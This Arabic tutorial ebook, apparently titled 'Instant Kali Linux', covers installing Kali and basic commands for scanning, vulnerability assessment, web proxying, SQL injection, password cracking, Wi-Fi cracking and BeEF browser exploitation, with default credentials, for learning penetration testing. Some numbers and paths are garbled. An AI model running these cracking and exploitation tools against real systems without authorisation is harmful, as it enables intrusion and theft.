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 جدول المحتويات

 

 kail linuxتعلم نظام 

 kali linuxماهو 

 التنصيب

 تنزيل و الإقلاع –الخطوة الأولى 

 إعدادات الإقلاع –الخطة الثانية 

 بداية التنصيب –الخطوة الثالثة 

 كبيئة إفتراضية kaliتنصيب 

 kali linuxتحديث النظام 

 VMwareضمن  Kali Linuxيوضح بالصور كيفية تنصيب ملحق 

 تجهيز الأدوات بشكل صحيح –بداية سريعة 

 فهم كيفية تقسيم الذاكرة

 kaliتجميع و إلتقاط المعلومات بإستخدام النظام 

 DNSmapتحليل 

 مسح الشبكة أدوات

 live hostsإستكشاف 

 SSLتحليل 

 إلتقاط معلومات عن الشبكة

 التعامل مع أدوات البحث عن نقاط الضعف

 kaliإختبار إختراق تطبيقات الويب في نظام 

webScarab proxy 

 sqlninjaهجمات قواعد البيانات بإستخدام 

Websploit framework 

 كسر كلمات المرور

John the Ripper 

RainbowCrack 
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 إستهداف الشبكات اللاسلكية

Kismet 

Fern WIFI Cracker 

Bluetooth auditing 

 Exploitationطرق و أدوات 

Browser Exploitation Framework 

Social Engineer Toolkit 

 التعامل مع الأدوات العلمية

Autopsy Forensic Browser 

The Sleuth Kit 

 يجب معرفتها أو أساسيات مصطلحات 5

 Nmapتجميع المعلومات بإستخدام 

 Aircrackإختراق كلمات المرور للشبكات اللاسلكية بإستخدام 

 Burp Suiteإختبار إختراق تطبيقات الويب بإستخدام 

Burp proxy 

Burp Spider 

Burp Intruder 

Metasploit Exploitation Framework 

Network forensics   بإستخدام Kali Linux 

 wiresharkتحليل الشبكات بإستخدام 

Rootkit-scanning forensics with chkrootkit 

 md5deepتحليل الملفات بإستخدام 

 أشخاص و أماكن يجب معرفتها

Official sites 

Articles and tutorials 

Community 

Blogs 

Twitter 
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Kali Linux 

 kaliلإعداد و البدأ بإستخدام هذا الكتاب يهدف إلى تزويدكم بكل المعلومات التي يمكن أن تحتاجها 

linux سوف نتعلم أساسيات النظام .kali وتم طرح المواضيع بشكل سلس لفهم البنية و كيفية ،

 التعامل مع أشهر الأدوات ....

 يحتوي هذا الكتاب على الأقسام التالية:

 Linuxوالذي هو مبني على أساس نظام التشغيل  kaliمدخل الى  ؟ Kali Linuxماهو نظام 

ومصمم بهدف لإستخدامه في علوم الكومبيوتر و إختبار الإختراق. وهو مجموعة من البرمجيات 

مفتوحة المصدر والتي يستخدمها المحترفون و الخبراء أثناؤ التعامل مع الحالات العملية لإختبار 

 الإختراق.

بطريقة سهلة و ضبط الإعدادات  Kali Linuxويساعدنا في التعلم كيفية تنزيل و تنصيب  التنصيب

 الخاصة بالمستخدم من أجل إختبار الإختراق.

يساعدنا في رؤية كيفية تنفيذ عدة مهام بإستخدام  تجهيز الأدوات بشكل صحيح –البداية السريعة 

المواضيع الأساسية في وف يتم تغطية بعض . وسKaliمختلف الأدوات البرمجية المتوفرة في نظام 

 .Kali Linuxالبدء بإختبار الإختراق بإستخدام 

من أجل مساعدتنا في تعلم كيفية تنفيذ عدة مهام بإستخادم أهم ميزات  ميزات يجب معرفتها 5أفضل 

من أجل  Kali. وفي نهاية هذا القسم سوف نكون قادرين على التعامل مع أدوات النظام Kaliنظام 

 تنفيذ مايلي:

  مسح و تجميع المعلومات بإستخدامNmap. 

  إختراق الشبكات اللاسلكية بإستخدامAircrack. 

  إختبار إختراق تطبيقات الويب بإستخدامBrup Suite. 

  البداية في التعامل معMetasploit Exploitation Framework. 

  تنفيذ هجماتSQL injection  بإستخدامsqlmap. 

 تنفيذ digital forensics  بإستخدامKali Linux. 

يزودنا بالعديد من الروابط المفيدة للمشاريع و مقالات و عدد من  أشخاص و أماكن يجب معرفتها

 لمقالات و مصادر مفتوحة للمخترقين. Twitterالمواقع بالإضافة إلى روابط 
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 ؟ Kali Linuxما هو نظام 

, يجب أن نفهم ماهو إختبار الإختراق. إختبار الإختراق هو Kali Linuxقبل الدخول في النظام 

طريقة من أجل تقييم النظام الامني للنظام الحاسوبي أو الشبكة الحاسوبية. الفكر وراء إختبار 

الإختراق هي إستهداف الحواسيب عبر مجموعة من الهجمات لرؤية فيما إذا كان الحاسوب قدار 

ت بدون أي تأثير على أداءه. الهجمات المختلفة في إختبار الإختراق على التعامل مع هذه الهجما

تتضمن تحديد و إتغلال نقاط الضعف المعروفة في مختلف التطبيقات البرمجية و أنظمة التشغيل و 

تحديد قوة الإتصال في الشبكة و هكذا ... ويعتبر إختبار الإختراق مجال مستقل في دراسة علوم 

 الحاسوب.

نظام  Kaliللمحترفين. حيث أن  أفضل نظام تشغيل Kali Linuxختبار الإختراق يعتبر بالنسبة لإ

مع مجموعة من البرمجيات مفتوحة المصدر التي  Linuxتشغيل متطور مبني على أساس نظام 

تستخدم لتنفيذ العديد من المهام في إختبار الإختراق و علوم الحواسيب و المجال الأمني. بعض 

 ميزاته:

 أداة للإختراق و التقديرات الأمنية. 033كثر من يحوي أ 

  يدعم العديد من التجهيزات الخارجية مثل مستقبلات اللاسلكية و تجهيزاتPCI. 

  يؤمن بيئة متكاملة للتطوير بعدة لغات برمجة مثلC, Python, Ruby. 

 .نظام مفتوح المصدر وقابل للتطوير 

Kali  يمكن تنزيله على شكلISO  والتي يمكن إستخدامها إما كـlive  أو نظام مستقل. والآن لنبدأ

 .Kaliفي إعداد مخبر إختبار إختراق خاص بك بإستخدام 
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 التنصيب

 وهو متوفر بالأشكال التالية:للبدأ في عملية التنصيب، نحتاج أولا تنزيل النظام 

 ISO 

 Vmware images 

 ARM images 

كنظام ثاني على الحاسب أو كبيئة إفتراضية. لنبدأ مع عملية التنصيب  Kaliيمكن تنصيب نظام 

بجانب نظام تشغيل آخر. أولا من خلال ثلاث خطوات بسيطة يمكن تنصيب النظام إلى جانب 

 نظامك الحالي وفق التالي:

 التنزيل و الإقلاع –الخطوة الأولى 

 سوف نحتاج إلى مواصفات التالية: Kaliقبل تنصيب 

 12فارغة على القرص الصلب  احةمس GB. 

 1 GB  منRAM .على الأقل 

 .أداة للإقلاع مثل قرص مرن أو قرص قابلة للإزالة 

 .http://www.kali.org/downloadمن الموقع الرسمي  ISOيمكن تنزيل 

ة كتروني. صفحة التنزيل تحوي خيارات قليلسوف يتم سؤالك فيما إذا تريد أن تسجل اسم و بريد إل

 مثل شكل و بنية النظام. إختر القيمة المتوافقة مع نظامك الحالي.

 

http://www.kali.org/download
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بمجر إنتهاء عملية التنزيل يجب أن يتم حرقه على قرص مرن أو قابل للإزالة. يحب يكون هذا 

 القرص معد ليتم إقلاع النظام منه و تحميل الإعدادات منه.

 إعدادات الإقلاع بجانب نظام آخر –الخطوة الثانية 

عند تجهيز قرص الإقلاع، نقوم بإعادة إقلاع النظام و الإقلاع مرة أخرى من القرص الذي قمنا 

 بإعداده. وسوف يظهر لنا شاشة كالتالي:

 

. سوف يبدأ النظام بتحميل و خلال دقائق سوف يظهر لنا سطح Live bootسوف نبدأ بإختيار 

 .Kaliالمكتب للنظام 

بمجرد تحميل سطح المكتب ، نتمكن من الولوج إلى التطبيقات و أدوات النظام و الإدارة و محرر 

 التقسيم.

 كوهذا يمثل واجهة المستخدم الرسومية الخاصة بتقسيم النظام الحالي. ويجب الإنتباه بحيث نتر

 .Kaliمساحة كافية لتنصيب نظام 

و  Gparted. ومن ثم نخرج من Apply All Operationsعند تحديد حجم القرص الصلب نختار 

 .Kaliنعيد إقلاع النظام 
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 بدأ عملية التنصيب –الخطة الثالثة 

. الخطوات الأولى من التنصيب سوف Graphical installبعد العودة الى الشاشة الرئيسية نختار 

نقوم بتحديد اللغة ، الموقع ، لوحة المفاتيح و هكذا ... ويجب الحذر عند ضبط كلمة المرور 

 .toorهي  Kaliالخاصة بالإقلاع. والكلمة الإفتراضية لنظام 

الخوات المهمة التالية هي إختيار الجزء الذي سوف يتم تنصيب النظام فيه. وسوف نستخدم نفس 

 .Gpartedالمساحة غير المستخدمة التي قمنا بتحديدها منذ قليل ضمن 

بعد إختيار الجزء، سوف يبدأ النظام في عملية تنصيب نظام التشغيل. هذه العملية سوف تأخذ بعض 

إنتهاء التنصيب سوف تظهر شاشة البداية والشؤال عن النظام الذي تريد الوقت للإنتهاء. بعد 

 .dual bootأو النظام الآخر وهذا يدعى بـ  Kali Linuxالإقلاع إلى 

 ضمن بيئة إفتراضية Kaliتنصيب 

ضمن برامج البيئة الإفتراضية سهل جداً. حيث أن هذا النظام متوفر على شكل  Kaliإعداد 

Vmware Image  يمكن تنزيلها من الموقع الرسمي التيhttp://www.kali.org/download 

 ويمجرد تنزيله يمكن بداية التعامل معه مباشرة.

التي قمنا بتنزيلها  ISO، سوف نستخدم Virtual Boxبإستخاد برنامج   Kali Linuxمن أجل تشغيل 

 .virtual boxالعادية لـ  منذ قليل و الإعدادات

 لبدأ التنصيب، ننشأ بيئة إفتراضية و ضبط المتطلبات من مساحة و ذاكرة.

 

http://www.kali.org/download
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 Kaliبعد إنشاء بيئة إفتراضية، نقوم بتشغيلها. في أول إقلاع سوف نقوم بإختيار القرص. نختار 

ISO  و نبدأ التنصيب. والخطوات الباقية هي نفس الخطوات السابقة التي قمنا بها عند تنصيب النظام

 بجانب النظام الأصلي لدينا.

. نتبع VirtualBox guest additionعند إنتهاء التنصيب و تحميل سطح المكتب يمكننا تنصيب 

 الخوات التالية من أجل تحقيق ذلك:

 التالي:نسخ الملفات للمسار  .1
cp /media/cd-rom/VboxLinuxAdditions.run /root/ 

 ضبط سماحيات الملف بالشكل التالي: .2
chmod 755 /root/VboxLinuxAdditions.run 

 تنفيذ الأمر التالي: .0
./VboxLinuxAdditions.run 

 Kali Linuxتحديث 

. من أجل patchesمن أجل الحصول على آخر  OSآخر خطوة في عملية التنصيب هي تحديث 

و  terminalالتأكد من أننا نعمل على آخر إصدار. من أجل تحديث نظام التشغيل ، نقوم بتشغيل 

 تمرير الأمر التالي:

apt-get update 

و يمكننا أن نستكشف القليل عن هذا  Kali Linuxعند هذه النقطة ، نكون قد قمنا بتنصيب نظام 

 النظام.
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 VMwareضمن  Kali Linuxيوضح بالصور كيفية تنصيب ملحق 

الذي قمنا بتنزيله من الإنترنت كما في الشكل  ISOومن ثم نختار ملف  VMwareنقوم بتشغيل 

 التالي:

 

 نختار حجم القرص الذي نريد حجزه للنظام:

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  13 

 نحدد الخصائص و بارامترات التي نريد تفعيلها ضمن النظام:

 

 :الشاشة الموضحة بالشكلومن ثم نقوم بتشغيل البيئة الإفتراضية للنظام وننتظر حتى ظهور 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  14 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  15 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  16 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  17 

 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  18 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  19 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  20 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  21 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  22 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  23 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  24 

 

 



INSTANT KALI LINUX 

 

ENG ISMAIL MOHAMAD HAZEM KAYALI  25 

 تجهيز الأدوات بشكل صحيح –بداية سريعة 

وفهم الوظائف الأساسية لبعض أشهر الأدوات في هذا  Kali Linuxسوف نتعمق قليلا في عالم 

 .Kaliالمستخدم في النظام  أو المجلد الرئيسي النظام. وسوف نبدأ بالمسار الرئيسي

 فهم كيفية تقسيم الذاكرة

. بعض المسارات Ubuntu Linuxوجود في نفس النسار البنيوي أو الأساسي الم Kaliيتبع نظام 

 المهمة التي يجب معرفتها:

/etc/.يحوي ملفات الإعدادات للأدوات المنصبة في النظام : 

/opt/ يحوي :metasploit .و موديولاتها 

/sys/ :.يحوي ملفات الإعدادات للأجهزة الهارجية الموصولة و المنافذ 

/root/ للنظام.: مسار أو مجلد المستخدم الأساسي 

/lib/.تحوي المكتبات المستقلة عن النظام : 

 

معظم الأدوات و البرمجيات المستخدمة في أختبار و تقدير الأخطار يمكن الوصول لها عبر قائمة 

التطبيقات على سطح المكتب. وهذه القائمة مرتبة وفق الأدوات الأكثر إستخداماً.من أجل الوصول 

 .Application | Kali linuxلهم ، أبحث في 
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 Kali Linuxتجميع و تحصيل المعلومات في نظام 

Kali Linux   يحوي مجموعة خاصة من الأدوات التي تساعد في عملية تجميع المعلومات مثل

Nmap (the network port mapper), DNSmap ,Trace  وهي أدوات مهمة. سوف نقوم

 بتغطية بعض هذه الأدوات من وجهة نظر معينة.

 DNSmapتحليل 

Domain Name System  نظام التسمية الموزعة للخدمات المتصلة بالإنترنت حيث أن اسم

domain  يستخدم من أجل الدخول لخدمة معينة. مثلاwww.Kali.org  يستخدم للوصول لخادم

HTTP  الموجود لدى مؤسس موقعKali. 

محدد.  domainالموجودة ضمن  subdomainsهي أداة تستخدم لإستكشاف  DNSmapأداة 

لـ  DNSسوف يرينا كامل خريطة أو شكل  terminalتنفيذ الأمر التالي ضمن 

www.rediff.com: 

root@kali:~#dnsmap rediff.com 

 

 

 

 

http://www.kali.org/
http://www.rediff.com/
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 أدوات مسح الشبكة

 دم لمعرفة تكوين الشبكة خاصة أو عامة و تحصيل معلومات عنها.أدوات مسح الشبكة تستخ

Nmap  هي أشهر أداة تجميع معلومات. وهي أداة قوية تستخدم من أجل مسح الكومبيوتر أو شبكة

الحواسيب بهدف إختبار الإختراق من أجل إستهداف خدمات معينة بهدف تقوية الهدف وحمايته. 

 لنا قائمة بخيارات المسح المتاحة: سوف تظهرعبر تمرير الأمر التالي 

root@kali:~#nmap –h 

 يتم عبر الأمر التالي: UDPمسح بسيط عن 

root@kali:~#nmap –sU 192.168.5.0-255 

 live hostsإستكشاف 

Fping  أداة مشهورة تستخدم من أجل معرفة إذا كانhost .معين متصل بالشبكة أم لا 

root@kali:~#fping google.com 

google.com is live 

 SSLتحليل 

SSLScan  أداة مسح سريعة لمنافذSSL  المتصلة لمنافذSSL  تحدد فيما إذا كان المشفرات

 .SSLوالبروتوكولات مفعلة أم لا وتظهر الشهادة الرقمية لـ 

 إلتقاط معلومات عن الشبكة

Dsniff  هي مجموعة من الأدوات التي تقوم بالعديد من المهام لتحصيل المعلومات. هذه الأدوات

تعمل عبر مراقبة البيانات التي تمر عبر الشبكة من أجل بيانات مفيدة مثل كلمات مرور، مفاتيح 

 ,unlsnarf, WebSpyالمرسلين، و عناوين بريد إلكتروني. بعض هذه الأدوات تتضمن 

mailsnarf ا.وهكذ 

Netsniff  مجموعة من الأدوات الشبكية السريعة والقوية المصممة خصيصاً لأنظمةLinux يمكن .

محلل شبكة  Netsniff-ngإستخدامها في تحليل تطوير الشبكات ، المراقبة ، الفحص و هكذا. 

وإعادة عرضها وتنفيذ  pcap.. تستطيع إلتقاط ملفات mmapسريع يعتمد على مكانيكية حزمة 

 .offlineو  onlineبشكل  تحليل
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 التعامل مع أدوات البحث عن نقاط الضعف

أدوات البحث عن نقاط الضعف تلعب دور هام في إختبار الإختراق. هذه الأدوات تحاول مختبر 

الإختراق في عملية تحليل نقاط الضعف و أخطاء النظام. يمكن البحث عن نقاط الضعف على 

 إعتمادا على المتطلبات.العديد من الخدمات والبرمجيات 

OpenVAS  أداة بحث عن نقاط ضعف مفتوحة المصدر مصممة خصيصاً للبحث العميق عن نقاط

 الضعف ضمن العديد من الحالات.

                                                      نبحث عن OpenVASلبدأ التعامل مع 

Application|Kali Linux|Vulnerability Analysis|OpenVAS 

 عند تشغيلها لأول مرة نستخدم الأمر التالي من أجل تحديث البرنامج و تشغيل كامل مايلزم لعملها:

openvas-setup 

 

 :terminal. نمرر الأمر التالي ضمن OpenVASالخطوة التالية هي إضافة مستخدم جديد لـ 

root@kali:~#openvas-adduser 

. ونستطيع إستخدام الأمر التالي من أجل ctrl + dيمكن الخروج من هذه العملية عبر الضغط على 

 تحديث هذه الأداة بشكل دائم:

root@kali:~#openvas-nvt-sync 
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نستطيع الآن تشغيل الأداة و بدأ في عملية البحث. ندخل إلى                         

Application|Kali Linux|Vulnerability Analysis|OpenVAS|openvas-gsd هذا .

تي قمنا بإعدادها سوف يشغل الواجهة الرسومية من أجل تسجيل الدخول. نقوم بإدخال المعلومات ال

 .172.0.0.1سابقا و ندخل العنوان المحلي 
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نملأ . Task|Newبعد تسجيل الدخول، نستطيع بدأ عملية المسح. للبدأ بأول عملية مسح نذهب إلى 

 اسم عملية المسح و باقي المتطلبات كما هو موضح بالشكل التالي:

 

بعد إنشاء العملية سوف نلاحظ أن العملية سوف تظهر في القسم السفلي من الوجهة الرسومية 

 للمستخدم. ونضغط على زر البدأ لبدأ المسح.

 kaliإختبار إختراق تطبيقات الويب في نظام 

من الأنترنت العالمي هذه الأيام. والحفاظ على الحماية ضمنها هو تطبيقات الويب جزء رئيسي 

التركيز الأساسي للدراسات العليا في مجال الويب. بناء تطبيق ويب يمكن أن يكون صعب و ممل و 

يمكن أن تظهر أخطاء صغيرة ضمن التعليمات تؤدي الى حدوذ فجوات أمنية. وهنا يأتي دور 

بيقها طة التطبيقات الأخرى. تطبيقات إختبار إختراق الويب يمكن تتطبيقات الويب لتساعد في حماي

في العديد من الأماكن مثل الواجهات و قواعد البيانات و خوادم الويب. سوف نستغل قوة بعض 

التي ممكن أن تكون مفيدة خلال عملية إختبار إختراق تطبيقات  Kaliالأدوات المهمة في النظام 

 الويب.
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WebScarab proxy 

WebScarab  هي أداة من أجل مقاطعة طلباتHTTP  وHTTPS  المرسلة من المتصفح قبل أن

يتم إرسالها الى الخادم. وبشكل مشابه يتم وقف الإجابة من الخادم قبل أن تذهب إلى المتصفح. 

و  XSS/CSRFتحوي العديد من الميزات المتقدمة مثل إكتشاف  WebScarabالنسخة الجديدة من 

نتبع الخطوات الثلاثة  WebScarabرقم المعرف للجلسة. من أجل البدأ في التعامل مع تحليل ال

 التالية:

 Application|Kali Linux|Webعبر ذهاب وفق  WebScarabنبدأ  .1

applications|Web application proxies|Webscarab. 

لـ  proxyبعد بدأ التطبيق يجب علينا تغيير إعدادات المتصفح. نضبط إعدادات الـ  .2

 .8338و رقم المنفذ على  120232321
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. نضغط على قائمة WebScarabنحفظ الإعدادات و نعود إلى الواجهة الرسومية لـ  .0

Proxy  ونتفحص طلبات المقاطعة. يجب أن نتأكد أن طلباتGET  وPOST  محددة على

الجانب الأيسر من الواجهة. من أجل مقاطعة الإستجابة، نتفحص مقاطعة الإستجابة من 

 أجل بدأ مراجعة و تفحص طلبات الإستجابة القادمة من الخادم.

 

 

 sqlninjaهجمات قواعد البيانات بإستخدام 

Sqlninja  أداة مشهورة تستخدم لفحص نقاط الضعف لـSQL injunction  في خوادم

Microsoft SQLجزء مهم من تطبيقات الويب لذلك حتى تطبيق صغير يمكن أن  . قواعد البيانات

يمكن أن تستخدم في  sqlninjaيؤدي إلى خطأ في إستغلال المعلومات. لذلك دعونا نرى كيف أن 

 إختبار إختراق قواعد البيانات.

نذهب إلى                                                sql ninjaمن أجل إقلاع 

Applications|Kali Linux|Web applications|Database Exploitation|sqlninja. 
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. البارامترات المهمة sqlninjaمع بارامترات  terminalهذه الخطوة سوف تؤدي إلى ظهور نافذة 

 .m–و  modeالتي يجب البحث عنها هي 

 

 

 يحدد نوع العملية التي نريد تنفيذها على قاعدة البيانات الهدف. m–لبارامتر ا

 دعونا نمرر الأمر الأساسي ونحلل النتيجة:

root@kali:~#sqlninja –m test 

sqlninja rel. 0.2.3-r1 

Copyright (c) 2006-2008 icesurfer 

[-] sqlninja.conf does not exist. You want to create it now ? [y/n] 

(. يمكننا تمرير القيم المهمة و sqlninja.confهذا سوف يعطيك خيار لإعداد ملف الإعدادات )

 إنشاء ملف إعدادات. وبمجرد الإنتهاء من هذا نكون جاهزين لتنفيذ إختبار إختراق قواعد البيانات.

The Websploit framework 

Websploit  أداة مفتوحة المصدر صممت لتحليل نقاط الضعف و إختبار الإختراق لتطبيقات

 والتعامل مع العديد من البرمجيات لإضافة وظائف إليها. Metasploitالويب. وهي مشابهة جدا لـ 
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 |Application|Kali Linux|Web Applicationsنذهب إلى Websploitلبدأ 

Web Application Fuzzers|Websploit. 

 

 وفق التالي: terminalيمكن أن نبدأ بتحديث هذه الأداة بتمرير أمر التحديث في الـ 

wsf>update 

[*]Updating websploit framework, please wait... 

 بمجرد إنتهاء التحديث يمكن رؤية الموديولات المتوفرة بتمرير الأمر التالي:

wdf>show modules 

 www.target.comدعونا نبدأ بعملية مسح مسارات أو مجلدات بسيطة عبر موديول على 

 كالتالي:

wsf>use web/dir_scanner 

wsf:Dir_scanner>show options 

wsf:Dir_scanner>set TARGET www.target.com 

wsf:Dir_scanner>run 
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سوف تنبدأ نموزج الهجوم و تعرض النتيجة. وبشكل مشابه  Websploitبمجرد تنفيذ أمر البدأ، 

 يمكن إستخدام نوزج أو موديول آخر إعتمادا على ما نريد أن نقوم به.

 كسر كلمات المرور

كلمات المرور هي أكثر طرق التوثيق المطبقة في النظم الحاسوبية. كسر كلمات المرور يمكننا من 

يحوي العديد من أدوات التي  Kaliنرغب من سماحيات. الولوج مباشرة إلى النظام ويعطينا ما

. دعونا نلقي نظرة على بعض أدوات offlineأو  onlineتستخدم في كسر كلمات المرور سواءاً 

 ونناقش أنماط عملها والعمليات الممكنة ضمنها. Kaliفك تشفير كلمات المرور في النظام 

John the Ripper 

John the Ripper يع و مجاني ويمكن إستخدامه بشكل فعال في كسر كلمات السر فاك تشفير سر

و  DESو خوارزمية التشفير  Windowsفي نظام  Hashأو قيم  Unixالضعيفة في نظام 

kerberos .و غيرها من خوارزميات التشفير 

 Brute Forceيمكن تنفيذه بواسطة تقنية  John the Ripperفك تشفير كلمات المرور بإستخدام 

حيث أن الكلمات المشفرة تكون موجودة ضمن ملف ويتم تجربتا بشكل متلاحق. أو يمكن بشكل 

حتى نحصل على تطابق بين قائمة  Brute Forceبديل أن نطبق قائمة من الكلمات و نطبق تقنية 

 الكلمات و كلمة المرور.

 نذهب وفق المسار التالي: John the Ripperلبدأ 

Applications|Kali Linux|Password Attacks|Offline Attack|John. 
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 على ملف كلمات المرور نقوم بتمرير الأمر التالي: Brute Forceلبدأ هجوم من نوع 

root@kali:~#john pwd 

 هو اسم ملف كلمات المرور. pwdحيث أن 

 من أجل رؤية كلمة السر التي تم كسرها نكتب الأمر التالي:

root@kali:~#john –show pwd 

 مكن تمرير قائمة من كلمات المرور:وي

root@kali:~#john --wordlist=password.lst --rules pwd 

RainbowCrack 

RainbowCrack  أداة فك تشفير كلمات مرور أسرع منJohn وهي مبنية على مفهوم استخدام .

المولدة مسبقاً لكل كلمة مرور  Hashesوالذي هو مجموعة ضخمة من قيم  rainbowجدول 

 hashويقوم بمقارنة  RainbowCrackالقيمة التي يقوم المستخدم بإدخالها يتم إدخالها إلى ممكنة. 

لحين حدوث تطابق. هذه التقنية أثبتت أنها فعالة و تستغرق وقت  rainbowالموجودة في الجدول 

 .Brute Forceأقل من الذي يستغرقه 
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 نذهب وفق المسار التالي: RainbowCrackلبدأ 

Applications|Kali Linux|Password Attacks|Offline Attacks|RainbowCrack. 

 

 مثال عن ذلك الأمر التالي:

rcrack *.rt –l hash.txt 

الخاص  wildcardمع  rainbowو البحث عن جدول  RainbowCrackهذا الأمر من أجل بدأ 

 .hash.txtسوف يتم خرقها مختارة من الملف  التي Hashبالبحث )*( ، قيمة الـ 

 إستهداف الشبكات اللاسلكية

الشبكة اللاسلكية واحدة من الوسائط الأساسية التي تصل الحواسيب ضمن شبكة. وهذا يخلق مجال 

واسع لإختبار الحماية في هذا المجال. إختبار إختراق الذي نقوم به على الشبكات اللاسلكية مشابه 

ثير من يحوي الك Kaliفي طريقة و بروتوكولات الإتصال. للشبكات السلكية. الفرق الوحيد يكمن 

الأدوات المفيدة التي تسهل عملية إختبار و تحديد الضعف على الشبكات اللاسلكية. دعونا نلقي 

 نظرة سريعة على بعضها.

Kismet 

كاشف شبكات لاسلكية الذي يمكن إستخدامه لملاحقة تدفق البيانات ضمن وسط إتصال لاسلكي. 

Kismet  كشف الشبكات والذي يسمح لها بكشف و يحدد الشبكة ويعرفها عبر إلتقاط حزم بيانات

 الشبكات المخفية و غير المعلن عنها.
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 يمكن أن نبدأ العمل معها وفق المسار التالي:

Applications|Kali Linux|Wireless Attacks|Wireless tools|Kismet. 

 

. سوف يتم الترحيب بك عبر شاشة Enterو نضغط  ksimet، نكتب  terminalبمجرد إقلاع 

مقدمة. نجيب عن الأسئلة لبدأ الخادم. وإذا كنت نشغلها للمرة الأولى سوف يتم الؤال عن تحديد منفذ 

interface. 
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كما هو موضح في  Add( ونختار wlan0نضيف المنفذ اللاسلكي الخاص بنا )بشكل إفتراضي 

 الشكل التالي:

 

سوف تبدأ بإظهار تقارير عن الشبكات اللاسلكية التي يمكن  Kismetبمجرد إضافة المنفذ، 

 يمكن أن نختار واحدة منها و نبدأ بإلتقاط البيانات منها.الوصول لها. 
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لكشف الشبكات اللاسلكية و تحصيل  Kismetكان هذا موجز مختصر جدا عن كيفية التعامل مع 

 المعلومات والبيانات المرسلة عبرها.

Fern WIFI Cracker 

وهي قادرة على كسر و إستعادة كلمة المرور  Wi-Fiأداة ذات واجهة رسومية من أجل فحص 

WEP/WPA/WPS  وإيضاً تشغيل هجوم على الشبكات السلكية واللاسلكية. هذه الأداة تم تطويرها

. من أجل إستخدامها يجب أن يكون لدينا بعض الأدوات المنصبة Pythonبإستخدام لغة البرمجة 

يحوي هذه الأدوات منصبة  Reaver .Kaliو  Python Scrapyو  Aircrackشكل مسبق مثل ب

 بشكل مسبق لذلك لاداعي لتنصيبها ثانية. بعض ميزات هذه الأداة:

 WEP Cracking with Fragmentation, Chop-Chop, Caffe-Latte, Hirte, 

ARP Request Replay, or WPS attack. 

 WPA/WPA2 Cracking with dictionary or WPS-based attacks. 

 Automatic saving of the key in the database upon a successful crack. 

 Automatic access point attack system. 

 Session hijacking (passive and Ethernet modes). 

 Access point MAC address for geolocation tracking. 

 نذهب للمسار التالي: Fernلبدأ أداة 

Applications|Kali Linux|Wireless Attacks|Wireless tools|Fern WIFI Cracker. 
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. بعد بضع drop-downبمجرد ظهور الواجهة الرسومية نختار المنفذ الخاص بنا من قائمة 

القريبة مصنفة وفق حماية كلمات  Wi-Fiلحظات سوف تبدأ الواجهة الرسومية بعرض شبكات 

 (.... ,WPA, WEPالمرور )

 

للمتابعة. بعد بضع لحظات سوف يبدأ الهجوم وأي فك  OKعند ظهور إعدادات المسح نضغط على 

 كلمة مرور سوف يتم التبليغ عنه عبر البرنامج.

Bluetooth auditing 

هي طريقة  Bluetooth. حيث أن bluetoothيزودنا بإمكانية العمل في نمط شبكات  Kaliنظام 

نقل البيانات الأكثر شيوعاً ضمن شبكات الموبايل وتقريبا في كل الأجهزة الحديثة التي تدعم تقنية 

Bluetooth لذلك .auditing Bluetooth  ضروري لكل مدير شبكة. وسوف نقدم مقدمة

 .BlueRangeمختصرة عن 

BlueRanger 

BlueRanger  نموزج هجوم بسيط يستخدم جودة خط الإتصال لتحديد أجهزة الـBluetooth .

حيث ان معظم الأجهزة تسمح بعملية  Bluetoothلتشكيل إتصال بين منفذ  pingsحيث أنها ترسل 

ping .دزن الحاجة إلى التوثيق و السماحية 
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 :BlueRangerنذهب وفق المسار التالي من أجل تشغيل 

Applications|Kali Linux|Wireless Attacks|Bluetooth tools|BlueRanger. 

 

من الصورة  SYNOPSISنمرر الأمر الذي يحوي  Bluetoothمن أجل بدأ إظهار قائمة شبكات الـ 

 السابقة كما في المثال التالي:

root@kali:~#blueranger.sh bci0 6C:D4:8A:B0:20:AC 

للأجهزة ضمن المجال. الشاشة سوف  pingسوف يبدأ بعملية  Bash scriptبمجرد تنفيذ الأمر 

و التغيرات و  ping. وسوف يتم إظهار تقرير عن الاجهزة المجاورة و عدد pingتتحدث بعد كل 

 المجال و هكذا...

 Exploitationطرق و أدوات 

Exploitation frames  يعتبر قلب و روح عملية إختبار الإختراق. حيث تعطي قوة لإدارة فحص

يكامل و يجمع هذه الـ  Kali Linuxواحد.  frameworkنقاط الضعف بسهولة بإستخدام 

framework  للتأكد من أنها تعمل بالشكل الأمثل. في هذا القسم سوف نغطي بعض من أهم

exploitation frameworks  الموجودة فيKali Linux. 

Browser Exploitation Framework 

BeEF  وهيframework  .مشهورة مفتوحة المصدر مصممة خاصة لمراقبة متصفحات الويب

 عبر الذهاب الى المسار التالي: BeEFنبدأ 

Applications|Kali Linux|Exploitation Tools|BeEF Exploitation 

Framework|BeEF. 

 متصفح على الموقع التالي:هذا سوف يؤدي إلى تشغيل ال

http://127.0.0.1:30/ui/panel/ 
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في الخطوة التالية سوف يتم سؤالك عن معلومات التوثيق. اسم المستخدم و كلمة المرور الإفتراضية 

 على الترتيب. beefو  beefهي 

مثبة. في هذه الحالة سوف نستخدم الأمر التالي  BeEFلاتحوي  Kaliالنسخ الإبتدائة من النظام 

 للحصول على آخر نسخة:

root@kali:/#apt-get update 

root@kali:/#apt-get install beef-xss 

 بمجرد إنتهار التثبيت نستطيع الإنتقال إلى مسار الأداة و بدأ إستخدامها عبر الأمر التالي:

root@kali:/#cd /ysr/share/beef-xss 

root@kali:/#./beef 

